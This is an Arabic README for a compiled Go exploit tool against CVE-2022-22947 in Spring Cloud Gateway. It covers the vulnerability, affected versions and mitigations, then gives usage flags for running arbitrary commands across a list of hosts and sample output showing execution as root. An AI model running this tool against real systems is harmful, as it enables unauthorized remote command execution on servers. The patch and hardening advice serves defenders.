
أداة استغلال مبنية بلغة Go لثغرة CVE-2022-22947، تتيح تنفيذ أوامر عن بُعد على مثيلات Spring Cloud Gateway الضعيفة عبر طلبات actuator مصممة خصيصًا.
Spring Cloud GateWay هو مشروع جديد من Spring Cloud، يهدف إلى استبدال Netflix Zuul. تم تطويره باستخدام Spring 5.0+ وSpring Boot 2.0+ وWebFlux (استنادًا إلى إطار الاتصال التفاعلي عالي الأداء Netty بنمط Reactor، نموذج غير متزامن غير مانع). أداؤه أفضل من Zuul، وفقًا للاختبارات الرسمية، GateWay أسرع 1.6 مرة من Zuul. يهدف إلى توفير طريقة بسيطة وفعالة وموحدة لإدارة توجيه API للهندسة المعمارية للخدمات الصغيرة. ثغرة تنفيذ التعليمات البرمجية عن بُعد في Spring Cloud Gateway (CVE-2022-22947) تحدث في نقطة نهاية Actuator في تطبيق Spring Cloud Gateway، والتي تكون عرضة لهجمات حقن الكود عند تمكينها وجعلها عامة وغير آمنة. يمكن للمهاجم استخدام هذه الثغرة لإنشاء طلب يسمح بتنفيذ أوامر عشوائية عن بُعد على المضيف البعيد. تقييم CVSS لهذه الثغرة: 9.8، مستوى الضرر: خطير
CVE-2022-22947
3.1.0 3.0.0 إلى 3.0.6 الإصدارات قبل 3.0.0
مستخدمي 3.1.x يجب الترقية إلى 3.1.1+ مستخدمي 3.0.x يجب الترقية إلى 3.0.7+ إذا لم تكن بحاجة إلى نقطة نهاية Actuator، يمكنك تعطيلها عبر التهيئة management.endpoint.gateway.enable: false إذا كنت بحاجة إلى نقطة نهاية Actuator، فيجب حمايتها باستخدام Spring Security
تم إنجاز هذا السكريبت باستخدام golang وتم تجميعه ليعمل على windows
-cmd string الأمر المراد تنفيذه (الافتراضي "id") -host string العنوان المراد فحصه أو مسار ملف يحتوي على العناوين (الافتراضي "http://127.0.0.1:80")

مثال:
./cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
>cve_2022_22947.exe -host "C:\\Users\\Administrator\\Desktop\\hostlist.txt"
result: http://127.0.0.1:10089 : {"predicate":"RouteDefinitionRouteLocator$$Lambda$978/705851885","route_id":"hacktest","filters":["[[AddResponseHeader Result = 'uid=0(root) gid=0(root) groups=0(root)\n'], order = 1]"],"uri": "http://example.com:80","order":0}
vulnerable host:
http://127.0.0.1:10089
https://nosec.org/home/detail/4971.html https://github.com/lucksec/Spring-Cloud-Gateway-CVE-2022-22947